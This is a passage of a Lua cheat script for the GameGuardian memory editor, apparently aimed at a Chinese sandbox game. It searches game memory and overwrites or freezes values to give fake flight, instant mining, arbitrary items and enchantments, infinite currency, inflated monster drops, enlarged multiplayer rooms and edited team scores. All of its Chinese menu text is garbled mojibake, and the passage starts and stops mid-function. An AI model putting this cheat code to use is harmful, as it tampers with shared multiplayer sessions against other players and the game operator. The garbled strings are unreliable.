"à¼ºà½Œà¼€â›¦à¿ˆä¿®æ”¹å® ç‰©à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆäººç‰©ç©¿å¢™à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆè¿”å›�ä¸»é¡µà¿ˆâ›¦à¼€à½‘à¼»",
 }, nil, "à¼ºà½Œà¼€â›¦à¿ˆå�ªè¦�æ€€ç�€ç�†æƒ³è€Œè¡ŒåŠ¨ï¼Œå°±ç®—ç»“æ�œä¸�å°½å¦‚äººæ„�ä¹Ÿæ²¡æœ‰å…³ç³»ã€‚ä½†æ˜¯å¦‚æ�œå¤±å�»äº†ç�†æƒ³ï¼Œé‚£å°±çœŸçš„ä¸€æ— æ‰€æœ‰äº†ï¼Œè¿�è‡ªå·±ç��è§†çš„äººéƒ½ä¿�æŠ¤ä¸�äº†à¿ˆâ›¦à¼€à½‘à¼»ï¸�ï¸�ï¸�")

if SN == nil then else
if SN[1]==true then     XCA1() end
if SN[2]==true then     XCA2() end
if SN[3]==true then     XCA3() end
if SN[4]==true then     XCA4() end
if SN[5]==true then     XCA5() end
if SN[6]==true then     XCA6() end
if SN[7]==true then     XCA7() end
if SN[8]==true then     XCA8() end
if SN[9]==true then     XCA9() end
if SN[10]==true then     XCA10() end
if SN[11]==true then     XCA11() end
if SN[12]==true then     XCA12() end
if SN[13]==true then     XCA13() end
if SN[14]==true then     XCA14() end
if SN[15]==true then     XCA15() end
if SN[16]==true then     XCA16() end
if SN[17]==true then     XCA17() end
if SN[18]==true then     XCA18() end
if SN[19]==true then     XCA19() end
if SN[20]==true then     Main() end
end
FX=0 end


function XCA1()
gg.toast(so({"åˆ›é€ èƒŒåŒ…",281510439550976,4,32},{{16777216,0x1C0,4}},{{16777472,0x1C0,4}}))
end


function XCA2()
F = gg.alert("è¯·é€‰æ‹©ï½›å¼€ å…³ï½�","å¼€","ï¸�å…³ï¸�ï¸�")

if  F== 1 then
qmnb={
{["memory"]=4},
{["name"]="ä¼ªé£�è¡Œ"},
{["value"]=-1020002304,["type"]=4},
{["lv"]=-1046478848,["offset"]=-4,["type"]=4}

}
qmxg={
{["value"]=16777472,["offset"]=-92,["type"]=4,["freeze"]=true}
}
xqmnb(qmnb)
gg.clearResults()
 elseif  F== 2 then
 qmnb={
{["memory"]=4},
{["name"]="ä¼ªé£�è¡Œ"},
{["value"]=-1020002304,["type"]=4},
{["lv"]=-1046478848,["offset"]=-4,["type"]=4}

}
qmxg={
{["value"]=16777216,["offset"]=-92,["type"]=4,["freeze"]=false}
}
xqmnb(qmnb)
gg.clearResults()
end
end


function XCA3()
F = gg.alert("è¯·é€‰æ‹©ï½›å¼€ å…³ï½�","å¼€","ï¸�å…³ï¸�ï¸�")

if  F== 1 then
qmnb = {
{["memory"] = 16384},
{["name"] = "ç§’æŒ–æ–¹å�—"},
{["value"] = 1133903872, ["type"] = 4},
{["lv"] = 50.0, ["offset"] = 4, ["type"] = 16},
{["lv"] = -70.0, ["offset"] = -8, ["type"] = 16},
{["lv"] = 100.0, ["offset"] = 8, ["type"] = 16},
}
qmxg = {
{["value"] = 0, ["offset"] = -4, ["type"] = 16},
}
xqmnb(qmnb)
gg.clearResults()
 elseif F == 2 then
qmnb = {
{["memory"] = 16384},
{["name"] = "ç§’æŒ–æ–¹å�—"},
{["value"] = 1133903872, ["type"] = 4},
{["lv"] = 50.0, ["offset"] = 4, ["type"] = 16},
{["lv"] = -70.0, ["offset"] = -8, ["type"] = 16},
{["lv"] = 100.0, ["offset"] = 8, ["type"] = 16},
}
qmxg = {
{["value"] = 0.3, ["offset"] = -4, ["type"] = 16},
}
xqmnb(qmnb)
gg.clearResults()
end
end

function XCA4()
local b = gg.prompt({"ã€�è¾“å…¥å­�å¼¹ä»£ç �ã€�12299æ— ç•�å¯¼å¼¹12300æ˜Ÿæ˜Ÿå¼¹15007 ç½�è£…æ‰‹é›·15008 è� è��æ‰‹é›·15050 æŠ•å°„ç‰©-é‡�äººçŒ�æ‰‹15051 æŠ•å°„ç‰©-ç¡«é»„å¼“æ‰‹15052 æŠ•å°„ç‰©-å°�æ�¶é­”15053 æŠ•å°„ç‰©-é‡�ç”Ÿå›¢å­�15054 æŠ•å°„ç‰©-é»‘é¾™ç�«ç�ƒ15055 æŠ•å°„ç‰©-é»‘é¾™ç†”å²©çŸ³æŸ±15056 æŠ•å°„ç‰©-é»‘é¾™ç†”å²©ç�ƒ15057 æŠ•å°„ç‰©-é»‘é¾™æ··ä¹±ç�ƒ15058 æŠ•å°„ç‰©-å°�å¤–æ˜ŸäººA15059 æŠ•å°„ç‰©-å°�å¤–æ˜ŸäººB15060 æŠ•å°„ç‰©-å°�å¤–æ˜ŸäººC15061 æŠ•å°„ç‰©-è�Œçœ¼å�®å�®15062 æŠ•å°„ç‰©-è�Œçœ¼å’šå’š15063 æŠ•å°„ç‰©-è�Œçœ¼å½“å½“15064 æŠ•å°„ç‰©-è�Œçœ¼å�®å’š15065 æŠ•å°„ç‰©-è�Œçœ¼å�®å½“15066 æŠ•å°„ç‰©-è�Œçœ¼å’šå½“15067 æŠ•å°„ç‰©-è�Œçœ¼å’»å’»15068 æŠ•å°„ç‰©-æ··ä¹±å¼“æ‰‹15069 æŠ•å°„ç‰©-è¿œç¨‹å®ˆå�«15070 æŠ•å°„ç‰©-è¿œç¨‹å®ˆå�«15071 æŠ•å°„ç‰©-è¿œç¨‹å®ˆå�«15072 æŠ•å°„ç‰©-å¹´å…½boss15501 å†²é”‹æ�ªå­�å¼¹15502 ç‰›ä»”å·¦è½®å­�å¼¹15503 ç‹™å‡»æ�ªå­�å¼¹15504 é‡�æœºæ�ªå­�å¼¹15505 è™šç©ºå·¨çŸ³15506 åœ†ç�ƒçˆ†å¼¹15507 å†°é”¥15508 ç†”å²©ç�ƒ15509 è�Œçœ¼æ˜ŸBOSS-å‡»é£�æ¿€å…‰15510 è�Œçœ¼æ˜ŸBOSS-å†°å†»æ¿€å…‰15511 è�Œçœ¼æ˜ŸBOSS-çˆ†ç‚¸æ¿€å…‰15512 è�Œçœ¼æ˜ŸBOSS-å²©çŸ³æµ·å•¸15513 è�Œçœ¼æ˜ŸBOSS-è“�è‰²æ‰‹è‡‚æŠ€èƒ½15514 è�Œçœ¼æ˜ŸBOSS-ç™½è‰²æ‰‹è‡‚æŠ€èƒ½15515 è�Œçœ¼æ˜ŸBOSSç²¾è‹±æ€ª-è“�è‰²æŠ•æ�·15516 è�Œçœ¼æ˜ŸBOSSç²¾è‹±æ€ª-ç™½è‰²æŠ•æ�·15517 è�Œçœ¼æ˜ŸBOSSç²¾è‹±æ€ª-è“�è‰²æŠ€èƒ½15518 è�Œçœ¼æ˜ŸBOSSç²¾è‹±æ€ª-ç™½è‰²æŠ€èƒ½15519 é»‘é¾™ç†”å²©ç�ƒ15520 é»‘é¾™æ··ä¹±ç�ƒ15521 æ‘„åƒ�æœº15522 é•¿æ–¹ä½“15523 èƒ¶å›Šä½“ï¼ˆç«–ï¼‰15524 ç�ƒä½“15525 ä¸­å¿ƒé•¿æ–¹ä½“15526 èƒ¶å›Šä½“ï¼ˆæ¨ªï¼‰15527 èƒ¶å›Šä½“ï¼ˆç›´ï¼‰"},{[1]=12299},{[1]="number"})
if not b then return end
gg.toast(so({"å½©å¼¹æ�ªå¼ºåŒ–",434259848432382,4,32},{{1,-0xC,4}},{{b[1],-0x8,4}}))
end



function XCA5()
local Aa3=gg.prompt({"è¾“å…¥1ï½�40äººæˆ¿é—´äººæ•°,å¼€å�¯æ­¤åŠŸèƒ½å��ç‚¹å‡»å¼€6äººæˆ¿é—´"},{"22"},{"number"})
if not Aa3 then return end
if Aa3 then
gg.toast(so({"å¤§æˆ¿é—´",1078198272,4,4},{{1077805056,-0x10},{1077149696,-0x20},{1076101120,-0x30},{1075052544,-0x50}},{{Aa3[1],-0x44,64}}))
end
end


function XCA6()
qa1 = gg.choice({
"à¼ºà½Œà¼€â›¦à¿ˆç¬¬ä¸€æ ¼æ­¦å™¨é™„é­”à¿ˆâ›¦à¼€à½‘à¼»",--1
"à¼ºà½Œà¼€â›¦à¿ˆç¬¬ä¸€æ ¼å·¥å…·é™„é­”à¿ˆâ›¦à¼€à½‘à¼»",--2
"à¼ºà½Œà¼€â›¦à¿ˆç¬¬ä¸€æ ¼å¼“ç®­é™„é­”à¿ˆâ›¦à¼€à½‘à¼»",--3
"à¼ºà½Œà¼€â›¦à¿ˆç¬¬ä¸€æ ¼è£…å¤‡é™„é­”à¿ˆâ›¦à¼€à½‘à¼»",--4
"à¼ºà½Œà¼€â›¦à¿ˆç¬¬ä¸€æ ¼è‡ªå®šä¹‰é™„é­”à¿ˆâ›¦à¼€à½‘à¼»",--5
"à¼ºà½Œà¼€â›¦à¿ˆè¿”å›�ä¸»é¡µà¿ˆâ›¦à¼€à½‘à¼»",},2018,os.date("ç¬¬ä¸€æ ¼é™„é­”"))
if qa1 ==1 then ww1() end
if qa1 ==2 then ww2() end
if qa1 ==3 then ww3() end
if qa1 ==4 then ww4() end
if qa1 ==5 then ww5() end
if qa1 ==6 then Main() end
XGCK=-1
end

function ww1()
gg.toast(so({"æ­¦å™¨é™„é­”",945804461,4,4},{{1000,-4,4}},{{20000,4,4,1},{5,8,4,1},{505,12,4,1},{605,16,4,1},{1005,20,4,1},{1105,24,4,1},{705,28,4,1}}))
end

function ww2()
gg.toast(so({"å·¥å…·é™„é­”",945804461,4,4},{{1000,-4,4}},{{20000,4,4,1},{5,8,4,1},{2505,12,4,1},{2603,16,4,1},{2401,20,4,1},{1505,24,4,1},{1105,28,4,1}}))
end

function ww3()
gg.toast(so({"å¼“ç®­é™„é­”",945804461,4,4},{{1000,-4,4}},{{20000,4,4,1},{5,8,4,1},{505,12,4,1},{1005,16,4,1},{905,20,4,1},{1305,24,4,1},{1405,28,4,1}}))
end

function ww4()
gg.toast(so({"è£…å¤‡é™„é­”",945804461,4,4},{{1000,-4,4}},{{20000,4,4,1},{5,8,4,1},{2205,12,4,1},{1805,16,4,1},{1705,20,4,1},{1605,24,4,1},{2305,28,4,1}}))
end

function ww5()
fm1 = gg.prompt({"à¼ºà½Œà¼€â›¦ç¬¬ä¸€ä¸ªé™„é­”æ•ˆæ�œâ›¦à¼€à½‘à¼»\nè€�ä¹…5-1505.å‡»é£�5-505.é”‹åˆ©5-605.äººç±»çŒ�æ‰‹5-705.åŠ¨ç‰©çŒ�æ‰‹5-805.é­”ç‰©çŒ�æ‰‹5-905.é‡�äººçŒ�æ‰‹5-2905.ç‚¹ç‡ƒ5-1005.å‡»é€€5-1105.å¹¸è¿�ç‹©çŒ�3-1203.å¼ºåŠ›å°„å‡»5-1305.æ— é™�å°„å‡»5-1405.çˆ†ç‚¸å°„å‡»-2701è¿‘æˆ˜æŠ—æ€§5-1605.è¿œç¨‹æŠ—æ€§5-1705.çˆ†ç‚¸æŠ—æ€§5-1805.ç‡ƒçƒ§æŠ—æ€§5-1905.æ¯’ç´ æŠ—æ€§5-2005.æ··ä¹±æŠ—æ€§5-2105.å��å‡»5-2205.å‡»é€€æŠ—æ€§5-2305.é¾™ä¹‹ç¼“è�½-2801.æŠ¤è…¿é€Ÿé™�5-3005.é�‹å­�çˆ¬å¢™5-3105.ç²¾å‡†é‡‡é›†-2401.é€Ÿåº¦5-2505.æŒ–æ�˜å¹¸è¿�3-2603"}
,{[1]=2505},{[1]="number"})[1]
gg.clearResults()
fm2 = gg.prompt({"à¼ºà½Œà¼€â›¦ç¬¬äºŒä¸ªé™„é­”æ•ˆæ�œâ›¦à¼€à½‘à¼»\nè€�ä¹…5-1505.å‡»é£�5-505.é”‹åˆ©5-605.äººç±»çŒ�æ‰‹5-705.åŠ¨ç‰©çŒ�æ‰‹5-805.é­”ç‰©çŒ�æ‰‹5-905.é‡�äººçŒ�æ‰‹5-2905.ç‚¹ç‡ƒ5-1005.å‡»é€€5-1105.å¹¸è¿�ç‹©çŒ�3-1203.å¼ºåŠ›å°„å‡»5-1305.æ— é™�å°„å‡»5-1405.çˆ†ç‚¸å°„å‡»-2701è¿‘æˆ˜æŠ—æ€§5-1605.è¿œç¨‹æŠ—æ€§5-1705.çˆ†ç‚¸æŠ—æ€§5-1805.ç‡ƒçƒ§æŠ—æ€§5-1905.æ¯’ç´ æŠ—æ€§5-2005.æ··ä¹±æŠ—æ€§5-2105.å��å‡»5-2205.å‡»é€€æŠ—æ€§5-2305.é¾™ä¹‹ç¼“è�½-2801.æŠ¤è…¿é€Ÿé™�5-3005.é�‹å­�çˆ¬å¢™5-3105.ç²¾å‡†é‡‡é›†-2401.é€Ÿåº¦5-2505.æŒ–æ�˜å¹¸è¿�3-2603"}
,{[1]=2603},{[1]="number"})[1]
gg.clearResults()
fm3 = gg.prompt({"à¼ºà½Œà¼€â›¦ç¬¬ä¸‰ä¸ªé™„é­”æ•ˆæ�œâ›¦à¼€à½‘à¼»\nè€�ä¹…5-1505.å‡»é£�5-505.é”‹åˆ©5-605.äººç±»çŒ�æ‰‹5-705.åŠ¨ç‰©çŒ�æ‰‹5-805.é­”ç‰©çŒ�æ‰‹5-905.é‡�äººçŒ�æ‰‹5-2905.ç‚¹ç‡ƒ5-1005.å‡»é€€5-1105.å¹¸è¿�ç‹©çŒ�3-1203.å¼ºåŠ›å°„å‡»5-1305.æ— é™�å°„å‡»5-1405.çˆ†ç‚¸å°„å‡»-2701è¿‘æˆ˜æŠ—æ€§5-1605.è¿œç¨‹æŠ—æ€§5-1705.çˆ†ç‚¸æŠ—æ€§5-1805.ç‡ƒçƒ§æŠ—æ€§5-1905.æ¯’ç´ æŠ—æ€§5-2005.æ··ä¹±æŠ—æ€§5-2105.å��å‡»5-2205.å‡»é€€æŠ—æ€§5-2305.é¾™ä¹‹ç¼“è�½-2801.æŠ¤è…¿é€Ÿé™�5-3005.é�‹å­�çˆ¬å¢™5-3105.ç²¾å‡†é‡‡é›†-2401.é€Ÿåº¦5-2505.æŒ–æ�˜å¹¸è¿�3-2603"}
,{[1]=2401},{[1]="number"})[1]
gg.clearResults()
fm4 = gg.prompt({"à¼ºà½Œà¼€â›¦ç¬¬å››ä¸ªé™„é­”æ•ˆæ�œâ›¦à¼€à½‘à¼»\nè€�ä¹…5-1505.å‡»é£�5-505.é”‹åˆ©5-605.äººç±»çŒ�æ‰‹5-705.åŠ¨ç‰©çŒ�æ‰‹5-805.é­”ç‰©çŒ�æ‰‹5-905.é‡�äººçŒ�æ‰‹5-2905.ç‚¹ç‡ƒ5-1005.å‡»é€€5-1105.å¹¸è¿�ç‹©çŒ�3-1203.å¼ºåŠ›å°„å‡»5-1305.æ— é™�å°„å‡»5-1405.çˆ†ç‚¸å°„å‡»-2701è¿‘æˆ˜æŠ—æ€§5-1605.è¿œç¨‹æŠ—æ€§5-1705.çˆ†ç‚¸æŠ—æ€§5-1805.ç‡ƒçƒ§æŠ—æ€§5-1905.æ¯’ç´ æŠ—æ€§5-2005.æ··ä¹±æŠ—æ€§5-2105.å��å‡»5-2205.å‡»é€€æŠ—æ€§5-2305.é¾™ä¹‹ç¼“è�½-2801.æŠ¤è…¿é€Ÿé™�5-3005.é�‹å­�çˆ¬å¢™5-3105.ç²¾å‡†é‡‡é›†-2401.é€Ÿåº¦5-2505.æŒ–æ�˜å¹¸è¿�3-2603"}
,{[1]=1505},{[1]="number"})[1]
gg.clearResults()
fm5 = gg.prompt({"à¼ºà½Œà¼€â›¦ç¬¬äº”ä¸ªé™„é­”æ•ˆæ�œâ›¦à¼€à½‘à¼»\nè€�ä¹…5-1505.å‡»é£�5-505.é”‹åˆ©5-605.äººç±»çŒ�æ‰‹5-705.åŠ¨ç‰©çŒ�æ‰‹5-805.é­”ç‰©çŒ�æ‰‹5-905.é‡�äººçŒ�æ‰‹5-2905.ç‚¹ç‡ƒ5-1005.å‡»é€€5-1105.å¹¸è¿�ç‹©çŒ�3-1203.å¼ºåŠ›å°„å‡»5-1305.æ— é™�å°„å‡»5-1405.çˆ†ç‚¸å°„å‡»-2701è¿‘æˆ˜æŠ—æ€§5-1605.è¿œç¨‹æŠ—æ€§5-1705.çˆ†ç‚¸æŠ—æ€§5-1805.ç‡ƒçƒ§æŠ—æ€§5-1905.æ¯’ç´ æŠ—æ€§5-2005.æ··ä¹±æŠ—æ€§5-2105.å��å‡»5-2205.å‡»é€€æŠ—æ€§5-2305.é¾™ä¹‹ç¼“è�½-2801.æŠ¤è…¿é€Ÿé™�5-3005.é�‹å­�çˆ¬å¢™5-3105.ç²¾å‡†é‡‡é›†-2401.é€Ÿåº¦5-2505.æŒ–æ�˜å¹¸è¿�3-2603"}
,{[1]=1105},{[1]="number"})[1]
gg.toast(so({"è‡ªå®šä¹‰é™„é­”",945804461,4,4},{{1000,-4,4}},{{20000,4,4,1},{5,8,4,1},{fm1,12,4,1},{fm2,16,4,1},{fm3,20,4,1},{fm4,24,4,1},{fm5,28,4,1}}))
end



function XCA7() 
local wp=gg.prompt({"ç‰©å“�ä»£ç �","ç‰©å“�æ•°é‡�"},{[1]="",[2]=""},{[1]="number",[2]="number"})
v.value = so({"ç‰©å“�",wp[1],4,4},{{"-1000000000~1999999999",96,4}},{{nil,0,4,2}})
gg.toast(so({'æ·»åŠ ç‰©å“�',1000,4,4},{{1007,0x118,4},{"945804460~945804999",4,4},{"-1000000000~1999999999",120,4}},{{nil,0,4,1},{945804460+wp[2],0,4,1},{v.value,0,4,1}}))end



function XCA8()
xx= gg.choice({
    "à¼ºà½Œà¼€â›¦à¿ˆçº¢é˜Ÿà¿ˆâ›¦à¼€à½‘à¼»",
    "à¼ºà½Œà¼€â›¦à¿ˆè“�é˜Ÿà¿ˆâ›¦à¼€à½‘à¼»",
    "à¼ºà½Œà¼€â›¦à¿ˆç»¿é˜Ÿà¿ˆâ›¦à¼€à½‘à¼»ï¸�",
    "à¼ºà½Œà¼€â›¦à¿ˆé»„é˜Ÿà¿ˆâ›¦à¼€à½‘à¼»",
    "à¼ºà½Œà¼€â›¦à¿ˆæ©™é˜Ÿà¿ˆâ›¦à¼€à½‘à¼»",    
    "à¼ºà½Œà¼€â›¦à¿ˆç´«é˜Ÿà¿ˆâ›¦à¼€à½‘à¼»",    
    "à¼ºà½Œà¼€â›¦à¿ˆè¿”å›�ä¸»é¡µà¿ˆâ›¦à¼€à½‘à¼»",},2018,os.date("ï¸�"))
if xx==1 then  fs1() end
if xx==2 then  fs2() end
if xx==3 then  fs3() end
if xx==4 then  fs4() end
if xx==5 then  fs5() end
if xx==6 then  fs6() end
if xx==7 then  Main() end
XGCK=-1 end
function fs1()
mn1=gg.prompt({"ã€�å½“å‰�çº¢é˜Ÿåˆ†æ•°ã€�"},{'0'},{"number"})[1]
gg.clearResults()
mn2=gg.prompt({"ã€�è¯·è¾“å…¥ä¿®æ”¹å��çš„çº¢é˜Ÿåˆ†æ•°ã€�"},{'520'},{"number"})[1]
if not mn1 then return end
if not mn2 then return end
    gg.setRanges(4)
local dataType = 4
local tb1 = {{600, 0}, {mn1, -120},{-1, -984} }
local tb2 = {{mn2, -120  }, }
SearchWrite(tb1, tb2, dataType)
	 gg.toast("ä¿®æ”¹æˆ�åŠŸ")
	 gg.clearResults()
end
function fs2()
mn1=gg.prompt({"ã€�å½“å‰�è“�é˜Ÿåˆ†æ•°ã€�"},{'0'},{"number"})[1]
gg.clearResults()
mn2=gg.prompt({"ã€�è¯·è¾“å…¥ä¿®æ”¹å��çš„è“�é˜Ÿåˆ†æ•°ã€�"},{'520'},{"number"})[1]
if not mn1 then return end
if not mn2 then return end
    gg.setRanges(4)
local dataType = 4
local tb1 = {{600, 0}, {mn1, -104},{-1, -984} }
local tb2 = {{mn2, -104  }, }
SearchWrite(tb1, tb2, dataType)
 gg.toast("ä¿®æ”¹æˆ�åŠŸ")
	 gg.clearResults()
end
function fs3()
mn1=gg.prompt({"ã€�å½“å‰�ç»¿é˜Ÿåˆ†æ•°ã€�"},{'0'},{"number"})[1]
gg.clearResults()
mn2=gg.prompt({"ã€�è¯·è¾“å…¥ä¿®æ”¹å��çš„ç»¿é˜Ÿåˆ†æ•°ã€�"},{'520'},{"number"})[1]
if not mn1 then return end
if not mn2 then return end
    gg.setRanges(4)
local dataType = 4
local tb1 = {{600, 0}, {mn1, -88},{-1, -984} }
local tb2 = {{mn2, -88  }, }
SearchWrite(tb1, tb2, dataType)
gg.toast("ä¿®æ”¹æˆ�åŠŸ")
	 gg.clearResults()
end
function fs4()
mn1=gg.prompt({"ã€�å½“å‰�é»„é˜Ÿåˆ†æ•°ã€�"},{'0'},{"number"})[1]
gg.clearResults()
mn2=gg.prompt({"ã€�è¯·è¾“å…¥ä¿®æ”¹å��çš„é»„é˜Ÿåˆ†æ•°ã€�"},{'520'},{"number"})[1]
if not mn1 then return end
if not mn2 then return end
    gg.setRanges(4)
local dataType = 4
local tb1 = {{600, 0}, {mn1, -72},{-1, -984} }
local tb2 = {{mn2, -72  }, }
SearchWrite(tb1, tb2, dataType)
gg.toast("ä¿®æ”¹æˆ�åŠŸ")
	 gg.clearResults()
end
function fs5()
mn1=gg.prompt({"ã€�å½“å‰�æ©™é˜Ÿåˆ†æ•°ã€�"},{'0'},{"number"})[1]
gg.clearResults()
mn2=gg.prompt({"ã€�è¯·è¾“å…¥ä¿®æ”¹å��çš„æ©™é˜Ÿåˆ†æ•°ã€�"},{'520'},{"number"})[1]
if not mn1 then return end
if not mn2 then return end
    gg.setRanges(4)
local dataType = 4
local tb1 = {{600, 0}, {mn1, -56},{-1, -984} }
local tb2 = {{mn2, -56  }, }
SearchWrite(tb1, tb2, dataType)
gg.toast("ä¿®æ”¹æˆ�åŠŸ")
	 gg.clearResults()
end
function fs6()
mn1=gg.prompt({"ã€�å½“å‰�ç´«é˜Ÿåˆ†æ•°ã€�"},{'0'},{"number"})[1]
gg.clearResults()
mn2=gg.prompt({"ã€�è¯·è¾“å…¥ä¿®æ”¹å��çš„ç´«é˜Ÿåˆ†æ•°ã€�"},{'520'},{"number"})[1]
if not mn1 then return end
if not mn2 then return end
    gg.setRanges(4)
local dataType = 4
local tb1 = {{600, 0}, {mn1, -40},{-1, -984} }
local tb2 = {{mn2, -40  }, }
SearchWrite(tb1, tb2, dataType)
gg.toast("ä¿®æ”¹æˆ�åŠŸ")
	 gg.clearResults()
end



function XCA9()
so({'å›¾é‰´è§£é”�',10000,4,4},{{10000,0x400,4}},{{0,-4,4,1}})
gg.toast("å…¨éƒ¨å›¾é‰´è§£é”�æˆ�åŠŸ")
end


function XCA10()
SN = gg.multiChoice({
	 "à¼ºà½Œà¼€â›¦à¿ˆé‡�äººæ�‰999+æ˜Ÿæ˜Ÿà¿ˆâ›¦à¼€à½‘à¼»",
	 "à¼ºà½Œà¼€â›¦à¿ˆç†”å²©å·¨äººæ�‰999+æ˜Ÿæ˜Ÿà¿ˆâ›¦à¼€à½‘à¼»",
	 "à¼ºà½Œà¼€â›¦à¿ˆå¢©å¢©æ�‰999+æ˜Ÿæ˜Ÿà¿ˆâ›¦à¼€à½‘à¼»",
	 "à¼ºà½Œà¼€â›¦à¿ˆæ²ƒæ²ƒå…½æ�‰999+æ˜Ÿæ˜Ÿà¿ˆâ›¦à¼€à½‘à¼»",
	 "à¼ºà½Œà¼€â›¦à¿ˆå˜Ÿå˜Ÿé¸Ÿæ�‰999+æ˜Ÿæ˜Ÿà¿ˆâ›¦à¼€à½‘à¼»",
	 "à¼ºà½Œà¼€â›¦à¿ˆç‹�ç‹¸æ�‰999+æ˜Ÿæ˜Ÿà¿ˆâ›¦à¼€à½‘à¼»",
	 "à¼ºà½Œà¼€â›¦à¿ˆè¿”å›�ä¸»é¡µà¿ˆâ›¦à¼€à½‘à¼»",
}, nil, "à¼ºà½Œà¼€â›¦à¿ˆæ‰“æ­»åŠŸèƒ½é‡Œé�¢çš„æŒ‡å®šç”Ÿç‰©å�³å�¯æ�‰999+æ˜Ÿæ˜Ÿà¿ˆâ›¦à¼€à½‘à¼»ï¸�")
if SN[1]==true then
	 HS2()
end
if SN[2]==true then
	 HS38()
end
if SN[3]==true then
	 HS3()
end
if SN[4]==true then
	 HS16()
end
if SN[5]==true then
	 HS17()
end
if SN[6]==true then
	 HS21()
end
if SN[7]==true then
	 Main()
end
FX1=0
end

function HS2()
	 gg.clearResults()
	 gg.setRanges(4)
	 gg.searchNumber("3101;12526;13::", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("13", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 jg=gg.getResults(100)
	 sl=gg.getResultCount()
	 if sl>100 then sl=100 end
	 for i = 1, sl do
	 	 dzy=jg[i].address
	 	 gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DWORD,freeze = true,value = 99999999}})
	 end
	 gg.toast("ä¿®æ”¹æˆ�åŠŸæ‰“é‡�äººä¸€ä¸‹è¯•è¯•")
	 gg.clearResults()
end

function HS38()
	 gg.clearResults()
	 gg.setRanges(4)
	 gg.searchNumber("3130;11310;21::", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("21", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 jg=gg.getResults(100)
	 sl=gg.getResultCount()
	 if sl>100 then sl=100 end
	 for i = 1, sl do
	 	 dzy=jg[i].address
	 	 gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DWORD,freeze = true,value = 99999999}})
	 end
	 gg.toast("ä¿®æ”¹æˆ�åŠŸæ‰“ç†”å²©å·¨äººä¸€ä¸‹è¯•è¯•")
	 gg.clearResults()
end

function HS3()
	 gg.clearResults()
	 gg.setRanges(4)
	 gg.searchNumber("3402;12522;1::", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("1", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 jg=gg.getResults(100)
	 sl=gg.getResultCount()
	 if sl>100 then sl=100 end
	 for i = 1, sl do
	 	 dzy=jg[i].address
	 	 gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DWORD,freeze = true,value = 99999999}})
	 end
	 gg.toast("ä¿®æ”¹æˆ�åŠŸæ‰“å¢©å¢©ä¸€ä¸‹è¯•è¯•")
	 gg.clearResults()
end

function HS16()
	 gg.clearResults()
	 gg.setRanges(4)
	 gg.searchNumber("3401;12516;1::", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("1", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 jg=gg.getResults(100)
	 sl=gg.getResultCount()
	 if sl>100 then sl=100 end
	 for i = 1, sl do
	 	 dzy=jg[i].address
	 	 gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DWORD,freeze = true,value = 99999999}})
	 end
	 gg.toast("ä¿®æ”¹æˆ�åŠŸæ‰“æ²ƒæ²ƒå…½ä¸€ä¸‹è¯•è¯•")
	 gg.clearResults()
end

function HS17()
	 gg.clearResults()
	 gg.setRanges(4)
	 gg.searchNumber("3400;12518;1::", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("1", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 jg=gg.getResults(100)
	 sl=gg.getResultCount()
	 if sl>100 then sl=100 end
	 for i = 1, sl do
	 	 dzy=jg[i].address
	 	 gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DWORD,freeze = true,value = 99999999}})
	 end
	 gg.toast("ä¿®æ”¹æˆ�åŠŸæ‰“å˜Ÿå˜Ÿé¸Ÿä¸€ä¸‹è¯•è¯•")
	 gg.clearResults()
end

function HS21()
	 gg.clearResults()
	 gg.setRanges(4)
	 gg.searchNumber("3407;11307;1::", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("1", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 jg=gg.getResults(100)
	 sl=gg.getResultCount()
	 if sl>100 then sl=100 end
	 for i = 1, sl do
	 	 dzy=jg[i].address
	 	 gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DWORD,freeze = true,value = 99999999}})
	 end
	 gg.toast("ä¿®æ”¹æˆ�åŠŸæ‰“ç‹�ç‹¸ä¸€ä¸‹è¯•è¯•")
	 gg.clearResults()
end



function XCA11()
qmnb = {{["memory"] = 4},
{["name"] = "æ— é™�æ˜Ÿæ˜Ÿ"},
{["value"] = 4474776592571170816, ["type"] = 32},
{["lv"] = 1120403456, ["offset"] = -24, ["type"] = 32},
}qmxg = {{["value"] = 1000000, ["offset"] = -80, ["type"] = 16, ["freeze"] = true},{["value"] = 1000000, ["offset"] = -256, ["type"] = 16, ["freeze"] = true},{["value"] = 0.00006336603, ["offset"] = 0x14, ["type"] = 16},}
xqmnb(qmnb)
end


function XCA12()
F = gg.alert("ğŸ”¥è¯·é€‰æ‹©ğŸ”¥","ğŸ��ç‹™å‡»ğŸ��","ğŸ��ï¸�å†²é”‹ğŸ��ï¸�ï¸�","ğŸ�¾é‡�æœºğŸ�¾")
 if  F~=1 and F~=2 then
 gg.toast("ä½ æœªé€‰æ‹©å¼€å…³é»˜è®¤å�–æ¶ˆ")
    gg.toast("ğŸ“Œä½ æœªé€‰æ‹©ï½›å¼€ å…³ï½�")
  else 
  end
if  F== 1 then
